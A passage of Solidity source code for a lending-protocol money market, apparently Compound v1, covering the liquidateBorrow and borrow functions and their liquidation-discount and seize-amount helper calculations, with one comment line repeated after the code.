uint newSupplyIndex_CollateralAsset;
// the target borrow's full balance with accumulated interest
uint currentBorrowBalance_TargetUnderwaterAsset;
// currentBorrowBalance_TargetUnderwaterAsset minus whatever gets repaid as part of the liquidation
uint updatedBorrowBalance_TargetUnderwaterAsset;
uint newTotalBorrows_ProtocolUnderwaterAsset;
uint startingBorrowBalance_TargetUnderwaterAsset;
uint startingSupplyBalance_TargetCollateralAsset;
uint startingSupplyBalance_LiquidatorCollateralAsset;
uint currentSupplyBalance_TargetCollateralAsset;
uint updatedSupplyBalance_TargetCollateralAsset;
// If liquidator already has a balance of collateralAsset, we will accumulate
// interest on it before transferring seized collateral from the borrower.
uint currentSupplyBalance_LiquidatorCollateralAsset;
// This will be the liquidator's accumulated balance of collateral asset before the liquidation (if any)
// plus the amount seized from the borrower.
uint updatedSupplyBalance_LiquidatorCollateralAsset;
uint newTotalSupply_ProtocolCollateralAsset;
uint currentCash_ProtocolUnderwaterAsset;
uint updatedCash_ProtocolUnderwaterAsset;
// cash does not change for collateral asset
uint newSupplyRateMantissa_ProtocolUnderwaterAsset;
uint newBorrowRateMantissa_ProtocolUnderwaterAsset;
// Why no variables for the interest rates for the collateral asset?
// We don't need to calculate new rates for the collateral asset since neither cash nor borrows change
uint discountedRepayToEvenAmount;
//[supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow) (discountedBorrowDenominatedCollateral)
uint discountedBorrowDenominatedCollateral;
uint maxCloseableBorrowAmount_TargetUnderwaterAsset;
uint closeBorrowAmount_TargetUnderwaterAsset;
uint seizeSupplyAmount_TargetCollateralAsset;
Exp collateralPrice;
Exp underwaterAssetPrice;
}
/**
* @notice users repay all or some of an underwater borrow and receive collateral
* @param targetAccount The account whose borrow should be liquidated
* @param assetBorrow The market asset to repay
* @param assetCollateral The borrower's market asset to receive in exchange
* @param requestedAmountClose The amount to repay (or -1 for max)
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function liquidateBorrow(address targetAccount, address assetBorrow, address assetCollateral, uint requestedAmountClose) public returns (uint) {
if (paused) {
return fail(Error.CONTRACT_PAUSED, FailureInfo.LIQUIDATE_CONTRACT_PAUSED);
}
LiquidateLocalVars memory localResults;
// Copy these addresses into the struct for use with `emitLiquidationEvent`
// We'll use localResults.liquidator inside this function for clarity vs using msg.sender.
localResults.targetAccount = targetAccount;
localResults.assetBorrow = assetBorrow;
localResults.liquidator = msg.sender;
localResults.assetCollateral = assetCollateral;
Market storage borrowMarket = markets[assetBorrow];
Market storage collateralMarket = markets[assetCollateral];
Balance storage borrowBalance_TargeUnderwaterAsset = borrowBalances[targetAccount][assetBorrow];
Balance storage supplyBalance_TargetCollateralAsset = supplyBalances[targetAccount][assetCollateral];
// Liquidator might already hold some of the collateral asset
Balance storage supplyBalance_LiquidatorCollateralAsset = supplyBalances[localResults.liquidator][assetCollateral];
uint rateCalculationResultCode; // Used for multiple interest rate calculation calls
Error err; // re-used for all intermediate errors
(err, localResults.collateralPrice) = fetchAssetPrice(assetCollateral);
if(err != Error.NO_ERROR) {
return fail(err, FailureInfo.LIQUIDATE_FETCH_ASSET_PRICE_FAILED);
}
(err, localResults.underwaterAssetPrice) = fetchAssetPrice(assetBorrow);
// If the price oracle is not set, then we would have failed on the first call to fetchAssetPrice
assert(err == Error.NO_ERROR);
// We calculate newBorrowIndex_UnderwaterAsset and then use it to help calculate currentBorrowBalance_TargetUnderwaterAsset
(err, localResults.newBorrowIndex_UnderwaterAsset) = calculateInterestIndex(borrowMarket.borrowIndex, borrowMarket.borrowRateMantissa, borrowMarket.blockNumber, getBlockNumber());
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.LIQUIDATE_NEW_BORROW_INDEX_CALCULATION_FAILED_BORROWED_ASSET);
}
(err, localResults.currentBorrowBalance_TargetUnderwaterAsset) = calculateBalance(borrowBalance_TargeUnderwaterAsset.principal, borrowBalance_TargeUnderwaterAsset.interestIndex, localResults.newBorrowIndex_UnderwaterAsset);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.LIQUIDATE_ACCUMULATED_BORROW_BALANCE_CALCULATION_FAILED);
}
// We calculate newSupplyIndex_CollateralAsset and then use it to help calculate currentSupplyBalance_TargetCollateralAsset
(err, localResults.newSupplyIndex_CollateralAsset) = calculateInterestIndex(collateralMarket.supplyIndex, collateralMarket.supplyRateMantissa, collateralMarket.blockNumber, getBlockNumber());
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.LIQUIDATE_NEW_SUPPLY_INDEX_CALCULATION_FAILED_COLLATERAL_ASSET);
}
(err, localResults.currentSupplyBalance_TargetCollateralAsset) = calculateBalance(supplyBalance_TargetCollateralAsset.principal, supplyBalance_TargetCollateralAsset.interestIndex, localResults.newSupplyIndex_CollateralAsset);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.LIQUIDATE_ACCUMULATED_SUPPLY_BALANCE_CALCULATION_FAILED_BORROWER_COLLATERAL_ASSET);
}
// Liquidator may or may not already have some collateral asset.
// If they do, we need to accumulate interest on it before adding the seized collateral to it.
// We re-use newSupplyIndex_CollateralAsset calculated above to help calculate currentSupplyBalance_LiquidatorCollateralAsset
(err, localResults.currentSupplyBalance_LiquidatorCollateralAsset) = calculateBalance(supplyBalance_LiquidatorCollateralAsset.principal, supplyBalance_LiquidatorCollateralAsset.interestIndex, localResults.newSupplyIndex_CollateralAsset);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.LIQUIDATE_ACCUMULATED_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET);
}
// We update the protocol's totalSupply for assetCollateral in 2 steps, first by adding target user's accumulated
// interest and then by adding the liquidator's accumulated interest.
// Step 1 of 2: We add the target user's supplyCurrent and subtract their checkpointedBalance
// (which has the desired effect of adding accrued interest from the target user)
(err, localResults.newTotalSupply_ProtocolCollateralAsset) = addThenSub(collateralMarket.totalSupply, localResults.currentSupplyBalance_TargetCollateralAsset, supplyBalance_TargetCollateralAsset.principal);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_BORROWER_COLLATERAL_ASSET);
}
// Step 2 of 2: We add the liquidator's supplyCurrent of collateral asset and subtract their checkpointedBalance
// (which has the desired effect of adding accrued interest from the calling user)
(err, localResults.newTotalSupply_ProtocolCollateralAsset) = addThenSub(localResults.newTotalSupply_ProtocolCollateralAsset, localResults.currentSupplyBalance_LiquidatorCollateralAsset, supplyBalance_LiquidatorCollateralAsset.principal);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET);
}
// We calculate maxCloseableBorrowAmount_TargetUnderwaterAsset, the amount of borrow that can be closed from the target user
// This is equal to the lesser of
// 1. borrowCurrent; (already calculated)
// 2. ONLY IF MARKET SUPPORTED: discountedRepayToEvenAmount:
// discountedRepayToEvenAmount=
// shortfall / [Oracle price for the borrow * (collateralRatio - liquidationDiscount - 1)]
// 3. discountedBorrowDenominatedCollateral
// [supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow)
// Here we calculate item 3. discountedBorrowDenominatedCollateral =
// [supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow)
(err, localResults.discountedBorrowDenominatedCollateral) =
calculateDiscountedBorrowDenominatedCollateral(localResults.underwaterAssetPrice, localResults.collateralPrice, localResults.currentSupplyBalance_TargetCollateralAsset);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.LIQUIDATE_BORROW_DENOMINATED_COLLATERAL_CALCULATION_FAILED);
}
if (borrowMarket.isSupported) {
// Market is supported, so we calculate item 2 from above.
(err, localResults.discountedRepayToEvenAmount) =
calculateDiscountedRepayToEvenAmount(targetAccount, localResults.underwaterAssetPrice);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.LIQUIDATE_DISCOUNTED_REPAY_TO_EVEN_AMOUNT_CALCULATION_FAILED);
}
// We need to do a two-step min to select from all 3 values
// min1&3 = min(item 1, item 3)
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset = min(localResults.currentBorrowBalance_TargetUnderwaterAsset, localResults.discountedBorrowDenominatedCollateral);
// min1&3&2 = min(min1&3, 2)
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset = min(localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset, localResults.discountedRepayToEvenAmount);
} else {
// Market is not supported, so we don't need to calculate item 2.
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset = min(localResults.currentBorrowBalance_TargetUnderwaterAsset, localResults.discountedBorrowDenominatedCollateral);
}
// If liquidateBorrowAmount = -1, then closeBorrowAmount_TargetUnderwaterAsset = maxCloseableBorrowAmount_TargetUnderwaterAsset
if (requestedAmountClose == uint(-1)) {
localResults.closeBorrowAmount_TargetUnderwaterAsset = localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset;
} else {
localResults.closeBorrowAmount_TargetUnderwaterAsset = requestedAmountClose;
}
// From here on, no more use of `requestedAmountClose`
// Verify closeBorrowAmount_TargetUnderwaterAsset <= maxCloseableBorrowAmount_TargetUnderwaterAsset
if (localResults.closeBorrowAmount_TargetUnderwaterAsset > localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset) {
return fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_TOO_HIGH);
}
// seizeSupplyAmount_TargetCollateralAsset = closeBorrowAmount_TargetUnderwaterAsset * priceBorrow/priceCollateral *(1+liquidationDiscount)
(err, localResults.seizeSupplyAmount_TargetCollateralAsset) = calculateAmountSeize(localResults.underwaterAssetPrice, localResults.collateralPrice, localResults.closeBorrowAmount_TargetUnderwaterAsset);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.LIQUIDATE_AMOUNT_SEIZE_CALCULATION_FAILED);
}
// We are going to ERC-20 transfer closeBorrowAmount_TargetUnderwaterAsset of assetBorrow into Compound
// Fail gracefully if asset is not approved or has insufficient balance
err = checkTransferIn(assetBorrow, localResults.liquidator, localResults.closeBorrowAmount_TargetUnderwaterAsset);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.LIQUIDATE_TRANSFER_IN_NOT_POSSIBLE);
}
// We are going to repay the target user's borrow using the calling user's funds
// We update the protocol's totalBorrow for assetBorrow, by subtracting the target user's prior checkpointed balance,
// adding borrowCurrent, and subtracting closeBorrowAmount_TargetUnderwaterAsset.
// Subtract the `closeBorrowAmount_TargetUnderwaterAsset` from the `currentBorrowBalance_TargetUnderwaterAsset` to get `updatedBorrowBalance_TargetUnderwaterAsset`
(err, localResults.updatedBorrowBalance_TargetUnderwaterAsset) = sub(localResults.currentBorrowBalance_TargetUnderwaterAsset, localResults.closeBorrowAmount_TargetUnderwaterAsset);
// We have ensured above that localResults.closeBorrowAmount_TargetUnderwaterAsset <= localResults.currentBorrowBalance_TargetUnderwaterAsset, so the sub can't underflow
assert(err == Error.NO_ERROR);
// We calculate the protocol's totalBorrow for assetBorrow by subtracting the user's prior checkpointed balance, adding user's updated borrow
// Note that, even though the liquidator is paying some of the borrow, if the borrow has accumulated a lot of interest since the last
// action, the updated balance *could* be higher than the prior checkpointed balance.
(err, localResults.newTotalBorrows_ProtocolUnderwaterAsset) = addThenSub(borrowMarket.totalBorrows, localResults.updatedBorrowBalance_TargetUnderwaterAsset, borrowBalance_TargeUnderwaterAsset.principal);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.LIQUIDATE_NEW_TOTAL_BORROW_CALCULATION_FAILED_BORROWED_ASSET);
}
// We need to calculate what the updated cash will be after we transfer in from liquidator
localResults.currentCash_ProtocolUnderwaterAsset = getCash(assetBorrow);
(err, localResults.updatedCash_ProtocolUnderwaterAsset) = add(localResults.currentCash_ProtocolUnderwaterAsset, localResults.closeBorrowAmount_TargetUnderwaterAsset);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.LIQUIDATE_NEW_TOTAL_CASH_CALCULATION_FAILED_BORROWED_ASSET);
}
// The utilization rate has changed! We calculate a new supply index, borrow index, supply rate, and borrow rate for assetBorrow
// (Please note that we don't need to do the same thing for assetCollateral because neither cash nor borrows of assetCollateral happen in this process.)
// We calculate the newSupplyIndex_UnderwaterAsset, but we already have newBorrowIndex_UnderwaterAsset so don't recalculate it.
(err, localResults.newSupplyIndex_UnderwaterAsset) = calculateInterestIndex(borrowMarket.supplyIndex, borrowMarket.supplyRateMantissa, borrowMarket.blockNumber, getBlockNumber());
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.LIQUIDATE_NEW_SUPPLY_INDEX_CALCULATION_FAILED_BORROWED_ASSET);
}
(rateCalculationResultCode, localResults.newSupplyRateMantissa_ProtocolUnderwaterAsset) = borrowMarket.interestRateModel.getSupplyRate(assetBorrow, localResults.updatedCash_ProtocolUnderwaterAsset, localResults.newTotalBorrows_ProtocolUnderwaterAsset);
if (rateCalculationResultCode != 0) {
return failOpaque(FailureInfo.LIQUIDATE_NEW_SUPPLY_RATE_CALCULATION_FAILED_BORROWED_ASSET, rateCalculationResultCode);
}
(rateCalculationResultCode, localResults.newBorrowRateMantissa_ProtocolUnderwaterAsset) = borrowMarket.interestRateModel.getBorrowRate(assetBorrow, localResults.updatedCash_ProtocolUnderwaterAsset, localResults.newTotalBorrows_ProtocolUnderwaterAsset);
if (rateCalculationResultCode != 0) {
return failOpaque(FailureInfo.LIQUIDATE_NEW_BORROW_RATE_CALCULATION_FAILED_BORROWED_ASSET, rateCalculationResultCode);
}
// Now we look at collateral. We calculated target user's accumulated supply balance and the supply index above.
// Now we need to calculate the borrow index.
// We don't need to calculate new rates for the collateral asset because we have not changed utilization:
// - accumulating interest on the target user's collateral does not change cash or borrows
// - transferring seized amount of collateral internally from the target user to the liquidator does not change cash or borrows.
(err, localResults.newBorrowIndex_CollateralAsset) = calculateInterestIndex(collateralMarket.borrowIndex, collateralMarket.borrowRateMantissa, collateralMarket.blockNumber, getBlockNumber());
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.LIQUIDATE_NEW_BORROW_INDEX_CALCULATION_FAILED_COLLATERAL_ASSET);
}
// We checkpoint the target user's assetCollateral supply balance, supplyCurrent - seizeSupplyAmount_TargetCollateralAsset at the updated index
(err, localResults.updatedSupplyBalance_TargetCollateralAsset) = sub(localResults.currentSupplyBalance_TargetCollateralAsset, localResults.seizeSupplyAmount_TargetCollateralAsset);
// The sub won't underflow because because seizeSupplyAmount_TargetCollateralAsset <= target user's collateral balance
// maxCloseableBorrowAmount_TargetUnderwaterAsset is limited by the discounted borrow denominated collateral. That limits closeBorrowAmount_TargetUnderwaterAsset
// which in turn limits seizeSupplyAmount_TargetCollateralAsset.
assert (err == Error.NO_ERROR);
// We checkpoint the liquidating user's assetCollateral supply balance, supplyCurrent + seizeSupplyAmount_TargetCollateralAsset at the updated index
(err, localResults.updatedSupplyBalance_LiquidatorCollateralAsset) = add(localResults.currentSupplyBalance_LiquidatorCollateralAsset, localResults.seizeSupplyAmount_TargetCollateralAsset);
// We can't overflow here because if this would overflow, then we would have already overflowed above and failed
// with LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET
assert (err == Error.NO_ERROR);
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
// We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above)
err = doTransferIn(assetBorrow, localResults.liquidator, localResults.closeBorrowAmount_TargetUnderwaterAsset);
if (err != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return fail(err, FailureInfo.LIQUIDATE_TRANSFER_IN_FAILED);
}
// Save borrow market updates
borrowMarket.blockNumber = getBlockNumber();
borrowMarket.totalBorrows = localResults.newTotalBorrows_ProtocolUnderwaterAsset;
// borrowMarket.totalSupply does not need to be updated
borrowMarket.supplyRateMantissa = localResults.newSupplyRateMantissa_ProtocolUnderwaterAsset;
borrowMarket.supplyIndex = localResults.newSupplyIndex_UnderwaterAsset;
borrowMarket.borrowRateMantissa = localResults.newBorrowRateMantissa_ProtocolUnderwaterAsset;
borrowMarket.borrowIndex = localResults.newBorrowIndex_UnderwaterAsset;
// Save collateral market updates
// We didn't calculate new rates for collateralMarket (because neither cash nor borrows changed), just new indexes and total supply.
collateralMarket.blockNumber = getBlockNumber();
collateralMarket.totalSupply = localResults.newTotalSupply_ProtocolCollateralAsset;
collateralMarket.supplyIndex = localResults.newSupplyIndex_CollateralAsset;
collateralMarket.borrowIndex = localResults.newBorrowIndex_CollateralAsset;
// Save user updates
localResults.startingBorrowBalance_TargetUnderwaterAsset = borrowBalance_TargeUnderwaterAsset.principal; // save for use in event
borrowBalance_TargeUnderwaterAsset.principal = localResults.updatedBorrowBalance_TargetUnderwaterAsset;
borrowBalance_TargeUnderwaterAsset.interestIndex = localResults.newBorrowIndex_UnderwaterAsset;
localResults.startingSupplyBalance_TargetCollateralAsset = supplyBalance_TargetCollateralAsset.principal; // save for use in event
supplyBalance_TargetCollateralAsset.principal = localResults.updatedSupplyBalance_TargetCollateralAsset;
supplyBalance_TargetCollateralAsset.interestIndex = localResults.newSupplyIndex_CollateralAsset;
localResults.startingSupplyBalance_LiquidatorCollateralAsset = supplyBalance_LiquidatorCollateralAsset.principal; // save for use in event
supplyBalance_LiquidatorCollateralAsset.principal = localResults.updatedSupplyBalance_LiquidatorCollateralAsset;
supplyBalance_LiquidatorCollateralAsset.interestIndex = localResults.newSupplyIndex_CollateralAsset;
emitLiquidationEvent(localResults);
return uint(Error.NO_ERROR); // success
}
/**
* @dev this function exists to avoid error `CompilerError: Stack too deep, try removing local variables.` in `liquidateBorrow`
*/
function emitLiquidationEvent(LiquidateLocalVars memory localResults) internal {
// event BorrowLiquidated(address targetAccount, address assetBorrow, uint borrowBalanceBefore, uint borrowBalanceAccumulated, uint amountRepaid, uint borrowBalanceAfter,
// address liquidator, address assetCollateral, uint collateralBalanceBefore, uint collateralBalanceAccumulated, uint amountSeized, uint collateralBalanceAfter);
emit BorrowLiquidated(localResults.targetAccount,
localResults.assetBorrow,
localResults.startingBorrowBalance_TargetUnderwaterAsset,
localResults.currentBorrowBalance_TargetUnderwaterAsset,
localResults.closeBorrowAmount_TargetUnderwaterAsset,
localResults.updatedBorrowBalance_TargetUnderwaterAsset,
localResults.liquidator,
localResults.assetCollateral,
localResults.startingSupplyBalance_TargetCollateralAsset,
localResults.currentSupplyBalance_TargetCollateralAsset,
localResults.seizeSupplyAmount_TargetCollateralAsset,
localResults.updatedSupplyBalance_TargetCollateralAsset);
}
/**
* @dev This should ONLY be called if market is supported. It returns shortfall / [Oracle price for the borrow * (collateralRatio - liquidationDiscount - 1)]
* If the market isn't supported, we support liquidation of asset regardless of shortfall because we want borrows of the unsupported asset to be closed.
* Note that if collateralRatio = liquidationDiscount + 1, then the denominator will be zero and the function will fail with DIVISION_BY_ZERO.
**/
function calculateDiscountedRepayToEvenAmount(address targetAccount, Exp memory underwaterAssetPrice) internal view returns (Error, uint) {
Error err;
Exp memory _accountLiquidity; // unused return value from calculateAccountLiquidity
Exp memory accountShortfall_TargetUser;
Exp memory collateralRatioMinusLiquidationDiscount; // collateralRatio - liquidationDiscount
Exp memory discountedCollateralRatioMinusOne; // collateralRatioMinusLiquidationDiscount - 1, aka collateralRatio - liquidationDiscount - 1
Exp memory discountedPrice_UnderwaterAsset;
Exp memory rawResult;
// we calculate the target user's shortfall, denominated in Ether, that the user is below the collateral ratio
(err, _accountLiquidity, accountShortfall_TargetUser) = calculateAccountLiquidity(targetAccount);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, collateralRatioMinusLiquidationDiscount) = subExp(collateralRatio, liquidationDiscount);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, discountedCollateralRatioMinusOne) = subExp(collateralRatioMinusLiquidationDiscount, Exp({mantissa: mantissaOne}));
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, discountedPrice_UnderwaterAsset) = mulExp(underwaterAssetPrice, discountedCollateralRatioMinusOne);
// calculateAccountLiquidity multiplies underwaterAssetPrice by collateralRatio
// discountedCollateralRatioMinusOne < collateralRatio
// so if underwaterAssetPrice * collateralRatio did not overflow then
// underwaterAssetPrice * discountedCollateralRatioMinusOne can't overflow either
assert(err == Error.NO_ERROR);
(err, rawResult) = divExp(accountShortfall_TargetUser, discountedPrice_UnderwaterAsset);
// It's theoretically possible an asset could have such a low price that it truncates to zero when discounted.
if (err != Error.NO_ERROR) {
return (err, 0);
}
return (Error.NO_ERROR, truncate(rawResult));
}
/**
* @dev discountedBorrowDenominatedCollateral = [supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow)
*/
function calculateDiscountedBorrowDenominatedCollateral(Exp memory underwaterAssetPrice, Exp memory collateralPrice, uint supplyCurrent_TargetCollateralAsset) view internal returns (Error, uint) {
// To avoid rounding issues, we re-order and group the operations so we do 1 division and only at the end
// [supplyCurrent * (Oracle price for the collateral)] / [ (1 + liquidationDiscount) * (Oracle price for the borrow) ]
Error err;
Exp memory onePlusLiquidationDiscount; // (1 + liquidationDiscount)
Exp memory supplyCurrentTimesOracleCollateral; // supplyCurrent * Oracle price for the collateral
Exp memory onePlusLiquidationDiscountTimesOracleBorrow; // (1 + liquidationDiscount) * Oracle price for the borrow
Exp memory rawResult;
(err, onePlusLiquidationDiscount) = addExp(Exp({mantissa: mantissaOne}), liquidationDiscount);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, supplyCurrentTimesOracleCollateral) = mulScalar(collateralPrice, supplyCurrent_TargetCollateralAsset);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, onePlusLiquidationDiscountTimesOracleBorrow) = mulExp(onePlusLiquidationDiscount, underwaterAssetPrice);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, rawResult) = divExp(supplyCurrentTimesOracleCollateral, onePlusLiquidationDiscountTimesOracleBorrow);
if (err != Error.NO_ERROR) {
return (err, 0);
}
return (Error.NO_ERROR, truncate(rawResult));
}
/**
* @dev returns closeBorrowAmount_TargetUnderwaterAsset * (1+liquidationDiscount) * priceBorrow/priceCollateral
**/
function calculateAmountSeize(Exp memory underwaterAssetPrice, Exp memory collateralPrice, uint closeBorrowAmount_TargetUnderwaterAsset) internal view returns (Error, uint) {
// To avoid rounding issues, we re-order and group the operations to move the division to the end, rather than just taking the ratio of the 2 prices:
// underwaterAssetPrice * (1+liquidationDiscount) *closeBorrowAmount_TargetUnderwaterAsset) / collateralPrice
// re-used for all intermediate errors
Error err;
// (1+liquidationDiscount)
Exp memory liquidationMultiplier;
// assetPrice-of-underwaterAsset * (1+liquidationDiscount)
Exp memory priceUnderwaterAssetTimesLiquidationMultiplier;
// priceUnderwaterAssetTimesLiquidationMultiplier * closeBorrowAmount_TargetUnderwaterAsset
// or, expanded:
// underwaterAssetPrice * (1+liquidationDiscount) * closeBorrowAmount_TargetUnderwaterAsset
Exp memory finalNumerator;
// finalNumerator / priceCollateral
Exp memory rawResult;
(err, liquidationMultiplier) = addExp(Exp({mantissa: mantissaOne}), liquidationDiscount);
// liquidation discount will be enforced < 1, so 1 + liquidationDiscount can't overflow.
assert(err == Error.NO_ERROR);
(err, priceUnderwaterAssetTimesLiquidationMultiplier) = mulExp(underwaterAssetPrice, liquidationMultiplier);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, finalNumerator) = mulScalar(priceUnderwaterAssetTimesLiquidationMultiplier, closeBorrowAmount_TargetUnderwaterAsset);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, rawResult) = divExp(finalNumerator, collateralPrice);
if (err != Error.NO_ERROR) {
return (err, 0);
}
return (Error.NO_ERROR, truncate(rawResult));
}
/**
* @notice Users borrow assets from the protocol to their own address
* @param asset The market asset to borrow
* @param amount The amount to borrow
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function borrow(address asset, uint amount) public returns (uint) {
if (paused) {
return fail(Error.CONTRACT_PAUSED, FailureInfo.BORROW_CONTRACT_PAUSED);
}
BorrowLocalVars memory localResults;
Market storage market = markets[asset];
Balance storage borrowBalance = borrowBalances[msg.sender][asset];
Error err;
uint rateCalculationResultCode;
// Fail if market not supported
if (!market.isSupported) {
return fail(Error.MARKET_NOT_SUPPORTED, FailureInfo.BORROW_MARKET_NOT_SUPPORTED);
}
// We calculate the newBorrowIndex, user's borrowCurrent and borrowUpdated for the asset
(err, localResults.newBorrowIndex) = calculateInterestIndex(market.borrowIndex, market.borrowRateMantissa, market.blockNumber, getBlockNumber());
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.BORROW_NEW_BORROW_INDEX_CALCULATION_FAILED);
}
(err, localResults.userBorrowCurrent) = calculateBalance(borrowBalance.principal, borrowBalance.interestIndex, localResults.newBorrowIndex);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED);
}
// Calculate origination fee.
(err, localResults.borrowAmountWithFee) = calculateBorrowAmountWithFee(amount);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.BORROW_ORIGINATION_FEE_CALCULATION_FAILED);
}
// Add the `borrowAmountWithFee` to the `userBorrowCurrent` to get `userBorrowUpdated`
(err, localResults.userBorrowUpdated) = add(localResults.userBorrowCurrent, localResults.borrowAmountWithFee);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED);
}
// We calculate the protocol's totalBorrow by subtracting the user's prior checkpointed balance, adding user's updated borrow with fee
(err, localResults.newTotalBorrows) = addThenSub(market.totalBorrows, localResults.userBorrowUpdated, borrowBalance.principal);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.BORROW_NEW_TOTAL_BORROW_CALCULATION_FAILED);
}
// Check customer liquidity
(err, localResults.accountLiquidity, localResults.accountShortfall) = calculateAccountLiquidity(msg.sender);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.BORROW_ACCOUNT_LIQUIDITY_CALCULATION_FAILED);
}
// Fail if customer already has a shortfall
if (!isZeroExp(localResults.accountShortfall)) {
return fail(Error.INSUFFICIENT_LIQUIDITY, FailureInfo.BORROW_ACCOUNT_SHORTFALL_PRESENT);
}
// Would the customer have a shortfall after this borrow (including origination fee)?
// We calculate the eth-equivalent value of (borrow amount + fee) of asset and fail if it exceeds accountLiquidity.
// This implements: `[(collateralRatio*oraclea*borrowAmount)*(1+borrowFee)] > accountLiquidity`
(err, localResults.ethValueOfBorrowAmountWithFee) = getPriceForAssetAmountMulCollatRatio(asset, localResults.borrowAmountWithFee);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.BORROW_AMOUNT_VALUE_CALCULATION_FAILED);
}
if (lessThanExp(localResults.accountLiquidity, localResults.ethValueOfBorrowAmountWithFee)) {
return fail(Error.INSUFFICIENT_LIQUIDITY, FailureInfo.BORROW_AMOUNT_LIQUIDITY_SHORTFALL);
}
// Fail gracefully if protocol has insufficient cash
localResults.currentCash = getCash(asset);
// We need to calculate what the updated cash will be after we transfer out to the user
(err, localResults.updatedCash) = sub(localResults.currentCash, amount);
if (err != Error.NO_ERROR) {
// Note: we ignore error here and call this token insufficient cash
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.BORROW_NEW_TOTAL_CASH_CALCULATION_FAILED);
}
// The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it.
// We calculate the newSupplyIndex, but we have newBorrowIndex already
(err, localResults.newSupplyIndex) = calculateInterestIndex(market.supplyIndex, market.supplyRateMantissa, market.blockNumber, getBlockNumber());
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.BORROW_NEW_SUPPLY_INDEX_CALCULATION_FAILED);
}
(rateCalculationResultCode, localResults.newSupplyRateMantissa) = market.interestRateModel.getSupplyRate(asset, localResults.updatedCash, localResults.newTotalBorrows);
if (rateCalculationResultCode != 0) {
return failOpaque(FailureInfo.BORROW_NEW_SUPPLY_RATE_CALCULATION_FAILED, rateCalculationResultCode);
}
(rateCalculationResultCode, localResults.newBorrowRateMantissa) = market.interestRateModel.getBorrowRate(asset, localResults.updatedCash, localResults.newTotalBorrows);
if (rateCalculationResultCode != 0) {
return failOpaque(FailureInfo.BORROW_NEW_BORROW_RATE_CALCULATION_FAILED, rateCalculationResultCode);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
// We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above)
err = doTransferOut(asset, msg.sender, amount);
if (err != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return fail(err, FailureInfo.BORROW_TRANSFER_OUT_FAILED);
}
// Save market updates
market.blockNumber = getBlockNumber();
market.totalBorrows = localResults.newTotalBorrows;
market.supplyRateMantissa = localResults.newSupplyRateMantissa;
market.supplyIndex = localResults.newSupplyIndex;
market.borrowRateMantissa = localResults.newBorrowRateMantissa;
market.borrowIndex = localResults.newBorrowIndex;
// Save user updates
localResults.startingBalance = borrowBalance.principal; // save for use in `BorrowTaken` event
borrowBalance.principal = localResults.userBorrowUpdated;
borrowBalance.interestIndex = localResults.newBorrowIndex;
emit BorrowTaken(msg.sender, asset, amount, localResults.startingBalance, localResults.borrowAmountWithFee, localResults.userBorrowUpdated);
return uint(Error.NO_ERROR); // success
}
}
|
Step 2 of 2: We add the liquidator's supplyCurrent of collateral asset and subtract their checkpointedBalance (which has the desired effect of adding accrued interest from the calling user)
|
